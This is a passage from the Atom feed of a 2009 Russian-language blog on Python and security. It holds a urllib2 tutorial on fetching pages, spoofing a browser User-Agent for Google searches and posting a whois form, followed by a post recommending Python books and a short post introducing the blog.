/&gt;&lt;blockquote style="font-style: italic;"&gt;import urllib2&lt;br /&gt;response = urllib2.urlopen('http://ivinside.blogspot.com/')&lt;br /&gt;print response.read()&lt;/blockquote&gt;Эта программа показывает на экран html-кодесы данного блога. Но не всегда можно получить содержимое странички, например, результаты поиска в Google таким образом не посмотришь, ибо он фильтрует по строке &lt;a href="http://ru.wikipedia.org/wiki/User_Agent"&gt;User-Agent&lt;/a&gt; всякие нежелательные приложения, в питоне по умолчанию она что-то типа "Python-urllib/2.5".&lt;br /&gt;&lt;br /&gt;С помощью следующего кода выводим на экран результат поиска в гугле по запросу "ivinside.blogspot.com", прикидываясь Internet Explorer под Vista:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;import urllib2&lt;br /&gt;&lt;br /&gt;search = 'ivinside.blogspot.com'&lt;br /&gt;headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}&lt;br /&gt;req = urllib2.Request("http://www.google.ru/search?q=" + search + "&amp;amp;start=0&amp;amp;ie=utf-8&amp;amp;oe=utf-8", None, headers)&lt;br /&gt;response = urllib2.urlopen(req)&lt;br /&gt;print response.read()&lt;/blockquote&gt;Ну, и напоследок сегодня, как заполнять веб-формы. Возьму для примера веб-сервис &lt;a href="http://www.ripn.net:8082/nic/whois/"&gt;whois&lt;/a&gt;. Как посмотреть какие параметры при этом передаются в запросе POST? Я смотрю плагином &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/3829"&gt;Live HTTP headers&lt;/a&gt; для Firefox и считаю его приемлемым. Итак, заполняем первую форму вручную, нажимаем кнопочку и смотрим в окно плагина. Там, среди всего прочего, будут интересующие нас параметры:&lt;br /&gt;Host=whois.ripn.net&amp;amp;Whois=test.ru&lt;br /&gt;Добавим их как параметры функции, предварительно закодировав, как того требует спецификация:&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;import urllib&lt;br /&gt;import urllib2&lt;br /&gt;&lt;br /&gt;headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}&lt;br /&gt;values = {'Host' : 'whois.ripn.net', 'Whois' : 'test.ru'}&lt;br /&gt;data = urllib.urlencode(values)&lt;br /&gt;req = urllib2.Request('http://www.ripn.net:8082/nic/whois/whois.cgi', data, headers)&lt;br /&gt;response = urllib2.urlopen(req)&lt;br /&gt;print response.read()&lt;/blockquote&gt;Ок, получили страничку, где содержится информация про домен test.ru&lt;br /&gt;В следующей заметке, наверно, расскажу про регулярные выражения, чтобы из полученных страничек можно было извлекать нужные данные.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-1576045822602404302?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/1576045822602404302/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/07/urllib2.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1576045822602404302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/1576045822602404302'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/07/urllib2.html' title='urllib2 - начало'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-7646685436017007100</id><published>2009-07-11T13:11:00.000-07:00</published><updated>2009-07-18T10:24:30.252-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='books'/><title type='text'>Python для чайников и профи</title><content type='html'>Всем тем, кто не в теме змеиного языка и не знает, стоит ли его вообще изучать могу порекомендовать ознакомиться с соотвествующей &lt;a href="http://absurdopedia.wikia.com/wiki/Python"&gt;статьей&lt;/a&gt; в Абсурдопедии. Если вам она показалось забавной, то не всё потеряно и можно даже попробовать ознакомиться со &lt;a href="http://ru.wikipedia.org/wiki/Python"&gt;статьей&lt;/a&gt; из Википедии.&lt;br /&gt;&lt;br /&gt;Первая книга, по которой я начал изучать python, - &lt;a href="http://www.python.ru/files/book-ods.pdf"&gt;Язык программирования Python&lt;/a&gt;. В авторах значится и сам создатель языка, что дает некую надежду на адекватность книги. Действительно, прочитав первые 100 страниц, я отложил все эти чтения, взялся за практику и открывал книгу уже по мере необходимости.&lt;br /&gt;&lt;br /&gt;Далее, можно взять на заметку &lt;a href="http://www.intuit.ru/department/pl/python/"&gt;лекции&lt;/a&gt; г-на Сузи, в которых кратко изложена суть и минимум мути. В качестве справочника использую &lt;a href="http://pydoc.org/"&gt;pydoc.org&lt;/a&gt;, поиск по классам и методам обычно дает результаты.&lt;br /&gt;&lt;br /&gt;Вот недавно заказал многообещающую книжку &lt;a href="http://www.books.ru/shop/books/626282"&gt;Изучаем Python, 3-е издание&lt;/a&gt;, с нетерпением жду доставки. Очень хотелось бы ознакомиться с &lt;a href="http://www.amazon.com/Gray-Hat-Python-Programming-Engineers/dp/1593271921"&gt;Gray Hat Python: Python Programming for Hackers and Reverse Engineers&lt;/a&gt;, но с амазоном я, к сожалению, не дружу.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-7646685436017007100?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/7646685436017007100/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/07/python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7646685436017007100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7646685436017007100'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/07/python.html' title='Python для чайников и профи'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-6050253414073505846</id><published>2009-07-07T09:15:00.000-07:00</published><updated>2009-07-07T09:46:21.419-07:00</updated><title type='text'>И, да!..</title><content type='html'>Идея вести тематический блог у меня зародилась давно, ибо блог в стиле ЖЖ изжил себя. Это уже и так потятно, что отмотав записи на пару лет назад, можно понять какое было безобразие.&lt;br /&gt;&lt;br /&gt;Итак, пришло время для новых концепций. Этот блог будет исключительно технической направленности, с основными тэгами "python", "security" и прочими смежными. По поводу первого буду конспектировать свои достижения (чтобы не забыть), а по поводу второго – в силу своей специфики, так сказать.&lt;br /&gt;&lt;br /&gt;К слову, название блога взято из &lt;a href="http://www.python.org/dev/peps/pep-0020/"&gt;дзена Питона&lt;/a&gt;, а вот над оформлением придется ещё поработать. В любом случае&lt;br /&gt;&gt;&gt;&gt; print 'hello world &amp;amp; welcome!'&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-6050253414073505846?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/6050253414073505846/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2009/07/blog-post.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/6050253414073505846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/6050253414073505846'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2009/07/blog-post.html' title='И, да!..'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry></feed>
